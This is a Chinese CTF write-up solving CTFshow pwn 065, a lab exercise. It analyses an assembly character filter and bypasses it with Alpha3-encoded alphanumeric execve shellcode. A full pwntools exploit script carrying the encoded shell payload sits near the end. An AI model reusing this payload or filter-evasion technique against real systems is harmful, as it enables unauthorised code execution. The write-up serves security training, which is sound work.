【CTFshow-pwn系列】03_栈溢出【pwn 065】详解:可见字符Shellcode绕过字符校验完整解题复盘

张开发
2026/4/14 11:02:01 15 分钟阅读

分享文章

【CTFshow-pwn系列】03_栈溢出【pwn 065】详解:可见字符Shellcode绕过字符校验完整解题复盘
本文仅用于技术研究禁止用于非法用途。Author:枷锁在前面的 Shellcode 挑战中 we 解决了空间受限与 PIE 绕过的难题。但现实中的防火墙或安全审计逻辑往往会更进一步它们不仅限制输入长度还会对输入的“字符集”进行深度过滤。来到PWN 065题目给出的提示非常幽默“你是一个好人”。这听起来像是一张好人卡但实际上它暗示了程序的一种“洁癖”——它只接受看起来像正常文本的“好字符”可见字符而拒绝任何包含特殊字节的原始机器码。这道题是Alphanumeric Shellcode纯可见字符利用的经典案例。题目信息与环境侦察1. 检查保护机制 (checksec)首先我们对目标二进制程序进行全面的“防御体检”。~/Desktop .............................................................. at 22:30:00 checksec pwn [*] /home/shining/Desktop/pwn Arch: amd64-64-little -- 64 位架构 RELRO: Full RELRO -- 权限控制极其严格 Stack: No canary found NX: NX unknown - GNU_STACK missing -- 核心突破口栈依然具有执行权 (RWX) PIE: PIE enabled -- 地址随机化开启 Stack: Executable RWX: Has RWX segments -- 确定存在可读可写可执行段 Stripped: No战术评估虽然程序开启了PIE和Full RELRO但其核心防御配置中缺失了GNU_STACK段的 NX 标记导致程序拥有RWX段。这意味着我们的利用思路依然是Ret2Shellcode。然而真正的关卡并不在内存保护上而在程序的输入校验逻辑中。第一部分代码审计与字符过滤模型分析由于该题目无法直接通过 IDA 插件反编译出高质量的 C 代码我们需要直接通过汇编代码分析其“安全检查”流程。1. 汇编核心逻辑分析程序在读入 Shellcode 后会进入一个严苛的循环校验。以下是从 IDA 中提取的关键校验片段.text:00000000000011B8 loc_11B8: ; 循环起始 .text:00000000000011B8 mov eax, [rbpvar_4] .text:00000000000011BB cdqe .text:00000000000011BD movzx eax, [rbpraxbuf] ; 取出当前字节 .text:00000000000011C5 cmp al, 60h ; ; 校验下界 .text:00000000000011C7 jle short loc_11DA ; 失败则跳转到下一组范围检查 .text:00000000000011C9 mov eax, [rbpvar_4] .text:00000000000011CC cdqe .text:00000000000011CE movzx eax, [rbpraxbuf] .text:00000000000011D6 cmp al, 7Ah ; z ; 校验上界 .text:00000000000011D8 jle short loc_1236 ; 在 a-z 范围内跳转至下一循环接着是针对大写字母和数字的后续过滤逻辑.text:00000000000011DA loc_11DA: .text:00000000000011E7 cmp al, 40h ; ; 校验大写字母/符号下界 .text:00000000000011E9 jle short loc_11FC .text:00000000000011F8 cmp al, 5Ah ; Z ; 校验大写字母/符号上界 .text:00000000000011FA jle short loc_1236 .text:00000000000011FC loc_11FC: .text:0000000000001209 cmp al, 2Fh ; / ; 校验数字/符号下界 .text:000000000000120B jle short loc_121E ; 如果都不在范围内跳转到错误处理2. 过滤模型解构 (Filtering Logic)通过上述汇编代码的cmp指令和条件跳转我们可以逆向推导出该“过滤器”允许通过的合法字符“白名单”区间 1 (小写字母相关)(0x60, 0x7A]即 ASCII 码在 97 到 122 之间涵盖了a-z。区间 2 (大写字母相关)(0x40, 0x5A]即 ASCII 码在 65 到 90 之间涵盖了A-Z。区间 3 (数字与符号相关)(0x2F, 0x5A]即 ASCII 码在 48 到 90 之间涵盖了0-9及部分特殊符号。结论如果 Shellcode 中包含任何不在这些区间内的字节例如常见的\x00、\x0f\x05或\x48\x31程序就会执行loc_121E处的代码打印 “Good, but not right” 并强制中断。第二部分破局思路Alpha3 编码的艺术既然手动编写可见字符 Shellcode 是一项极其枯燥且容易出错的工作我们需要借助安全界的“精密仪器”Alpha3。1. 什么是 Alphanumeric Shellcode这是一种高级利用技巧。它利用汇编指令在机器码层面的重合性筛选出那些对应的 ASCII 码正好落在可见范围内的指令。例如字符P的机器码是0x50在 64 位下对应的指令是push rax。2. 利用流程建模原始载荷生成使用 Pwntools 生成一段标准的 64 位 Linuxexecve(/bin/sh)Shellcode。编码压缩调用Alpha3对二进制载荷进行编码。工具指令参考python alpha3.py x64 ascii mixedcase rax --input-fileshell.bin关键寄存器由于程序最后通过call rax跳转我们需要告诉编码器起始地址位于rax寄存器。最终载荷编码后的代码就像一段乱码的“纯英文文本”但它在 CPU 运行时会自动在内存中解压并还原出真实的二进制攻击指令。第三部分实战 EXP 编写与详解本题不需要计算复杂的栈溢出偏移。在连接建立后我们直接发送由 Alpha3 生成的可见字符载荷即可。from pwn import * # 1. 基础配置 context(arch amd64, os linux, log_level debug) # 2. 建立连接 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28165) # 接收程序提示信息直到Shellcode结束 io.recvuntil(Shellcode) # 可见字符shellcode通过alpha3生成符合程序字符校验要求 shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t # 4. 执行注入 log.info([*] 发送可见字符 Shellcode...) io.send(shellcode) # 5. 开启交互模式获取shell io.interactive()第四部分底层原理复盘与总结1. 为什么 PIE 保护在这里“失效”了虽然程序开启了 PIE理应导致栈地址随机化。但在main函数末尾程序执行了lea rax, [rbpbuf] call rax这无异于程序主动为我们精准定位了“案发现场”。出题人通过这种方式简化了漏洞利用的地址定位成本将核心难点聚焦在了“过过滤”上。2. 字符过滤绕过总结识别点在汇编中看到密集的cmp al, xx配合区间跳转通常意味着字符校验。武器库掌握 Alpha3 或 msfvenom 的x64/alpha_mixed编码器。寄存器定位在使用 Alpha3 编码时必须明确知道程序跳转时哪一个寄存器保存了 Shellcode 的基地址本题为rax。3. 写在最后pwn 065 展示了现代溢出攻击中的一种典型对抗数据形态的伪装。在更高难度的题目中可能还会遇到 Base64 格式的 Shellcode 甚至由特定自然语言单词构成的 Shellcode。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。

更多文章